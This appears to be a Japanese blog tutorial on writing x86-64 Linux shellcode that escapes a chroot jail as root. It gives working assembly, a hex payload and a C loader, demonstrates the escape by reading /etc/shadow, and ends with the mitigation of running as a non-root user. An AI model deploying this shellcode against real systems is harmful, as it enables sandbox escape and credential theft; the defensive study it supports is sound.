Linux x64でchroot jailから脱出するシェルコードを書いてみる
上の記事では、chrootがsuperuserならば脱出可能であることについて書かれている。 また、実際にマニュアルを確認すると、確かにそのことが記載されている。
CHROOT(2) Linux Programmer's Manual CHROOT(2) NAME chroot - change root directory SYNOPSIS (snip) DESCRIPTION (snip) This call does not change the current working directory, so that after the call '.' can be outside the tree rooted at '/'. In particular, the superuser can escape from a "chroot jail" by doing: mkdir foo; chroot foo; cd ..
ここでは上の記事を参考に、Linux x64環境においてchroot jailから脱出してシェルを起動するシェルコードを書いてみる。
環境
Ubuntu 14.04.1 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty $ gcc --version gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2
シェルコードを書いてみる
実際にシェルコードを書くと次のようになる。
# escape_chroot.s .intel_syntax noprefix .globl _start _start: # chdir("/") push 0x2f mov rdi, rsp push 80 pop rax syscall # mkdir("\355\1", 0755) pop rsi mov si, 0755 push rsi mov rdi, rsp push 83 pop rax syscall # chroot("\355\1") push 94 pop rax not al syscall # chdir("..") x 0x7f push 0x7f pop rsi xor rdi, rdi mov di, 0x2e2e push rdi mov rdi, rsp loop: push 80 pop rax syscall dec rsi jne loop # chroot("..") push 94 pop rax not al syscall # execve("/bin/sh", {"/bin/sh", NULL}, NULL) push 59 pop rax cqo movabs rdi, 0x68732f2f6e69622f push rdx push rdi mov rdi, rsp push rdx push rdi mov rsi, rsp syscall
上のコードの内容を簡単にまとめると次のようになる。
アセンブルし、ディスアセンブル結果を表示すると次のようになる。
$ gcc -nostdlib escape_chroot.s $ objdump -d a.out a.out: file format elf64-x86-64 Disassembly of section .text: 00000000004000d4 <_start>: 4000d4: 6a 2f push 0x2f 4000d6: 48 89 e7 mov rdi,rsp 4000d9: 6a 50 push 0x50 4000db: 58 pop rax 4000dc: 0f 05 syscall 4000de: 5e pop rsi 4000df: 66 be ed 01 mov si,0x1ed 4000e3: 56 push rsi 4000e4: 48 89 e7 mov rdi,rsp 4000e7: 6a 53 push 0x53 4000e9: 58 pop rax 4000ea: 0f 05 syscall 4000ec: 6a 5e push 0x5e 4000ee: 58 pop rax 4000ef: f6 d0 not al 4000f1: 0f 05 syscall 4000f3: 6a 7f push 0x7f 4000f5: 5e pop rsi 4000f6: 48 31 ff xor rdi,rdi 4000f9: 66 bf 2e 2e mov di,0x2e2e 4000fd: 57 push rdi 4000fe: 48 89 e7 mov rdi,rsp 0000000000400101 <loop>: 400101: 6a 50 push 0x50 400103: 58 pop rax 400104: 0f 05 syscall 400106: 48 ff ce dec rsi 400109: 75 f6 jne 400101 <loop> 40010b: 6a 5e push 0x5e 40010d: 58 pop rax 40010e: f6 d0 not al 400110: 0f 05 syscall 400112: 6a 3b push 0x3b 400114: 58 pop rax 400115: 48 99 cqo 400117: 48 bf 2f 62 69 6e 2f movabs rdi,0x68732f2f6e69622f 40011e: 2f 73 68 400121: 52 push rdx 400122: 57 push rdi 400123: 48 89 e7 mov rdi,rsp 400126: 52 push rdx 400127: 57 push rdi 400128: 48 89 e6 mov rsi,rsp 40012b: 0f 05 syscall
このバイト列をC形式の文字列に変換すると次のようになる。
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x6a\x2f\x48\x89\xe7\x6a\x50\x58\x0f\x05\x5e\x66\xbe\xed\x01\x56\x48\x89\xe7\x6a\x53\x58\x0f\x05\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x7f\x5e\x48\x31\xff\x66\xbf\x2e\x2e\x57\x48\x89\xe7\x6a\x50\x58\x0f\x05\x48\xff\xce\x75\xf6\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x3b\x58\x48\x99\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05
chroot下でシェルコードを実行してみる
意図的にシェルコードにジャンプするプログラムコードを書くと次のようになる。
/* loader.c */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char code[] = "\x6a\x2f\x48\x89\xe7\x6a\x50\x58\x0f\x05\x5e\x66\xbe\xed\x01\x56\x48\x89\xe7\x6a\x53\x58\x0f\x05\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x7f\x5e\x48\x31\xff\x66\xbf\x2e\x2e\x57\x48\x89\xe7\x6a\x50\x58\x0f\x05\x48\xff\xce\x75\xf6\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x3b\x58\x48\x99\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"; printf("strlen(code) = %ld\n", strlen(code)); ((void (*)())code)(); return 0; }
DEPを無効にした上でC標準ライブラリをstatic linkしてコンパイルし、実行ファイルを生成する。 さらに、chroot下でこれを実行してみる。
$ gcc -static -zexecstack loader.c $ mkdir jail $ cp a.out jail/ $ sudo chroot jail/ /a.out strlen(code) = 89 # cat /etc/shadow root:!:16349:0:99999:7::: daemon:*:16273:0:99999:7::: bin:*:16273:0:99999:7::: sys:*:16273:0:99999:7::: (snip) # exit
上の結果より、chroot下のプログラムから本来の環境のシェルが起動していることが確認できた。 このシェルコードの長さは89バイトである。
chroot下でchrootできないようにする
上を防ぐには、chroot下で動かすプログラムの実行ユーザをrootではないユーザ(より正確にはCAP_SYS_CHROOT capabilityのないユーザ)に変更しておく必要がある。
chrootコマンドの場合、--userspec
オプションにuid番号を指定することでこれを行うことができる。
あるいは、動かすプログラム中でsetuid関数を実行してもよく、一般的にはこの方法が広く用いられる。
実行ユーザにnobodyを指定して、再度chroot下でプログラムを実行してみると次のようになる。
$ id nobody uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) $ sudo chroot --userspec=65534 jail/ /a.out strlen(code) = 89 $ sudo strace chroot --userspec=65534 jail/ /a.out execve("/usr/sbin/chroot", ["chroot", "--userspec=65534", "jail/", "/a.out"], [/* 13 vars */]) = 0 brk(0) = 0x1def000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f46d472b000 ... setuid(65534) = 0 execve("/a.out", ["/a.out"], [/* 13 vars */]) = 0 uname({sys="Linux", node="vm-ubuntu64", ...}) = 0 brk(0) = 0x1c7a000 brk(0x1c7b1c0) = 0x1c7b1c0 arch_prctl(ARCH_SET_FS, 0x1c7a880) = 0 readlink("/proc/self/exe", 0x7fffc99221f0, 4096) = -1 ENOENT (No such file or directory) brk(0x1c9c1c0) = 0x1c9c1c0 brk(0x1c9d000) = 0x1c9d000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff39e8cd000 write(1, "strlen(code) = 89\n", 18strlen(code) = 89 ) = 18 chdir("/") = 0 mkdir("\355\1", 0755) = -1 EEXIST (File exists) chroot("\355\1") = -1 EPERM (Operation not permitted) chdir("..") = 0 ... chdir("..") = 0 chroot("..") = -1 EPERM (Operation not permitted) execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = -1 ENOENT (No such file or directory) --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xfffffffffffffffc} --- +++ killed by SIGSEGV (core dumped) +++
システムコールトレースの結果から、プログラム実行前にsetuidで実行ユーザIDが変更され、chrootシステムコールでエラーが返るようになっていることが確認できる。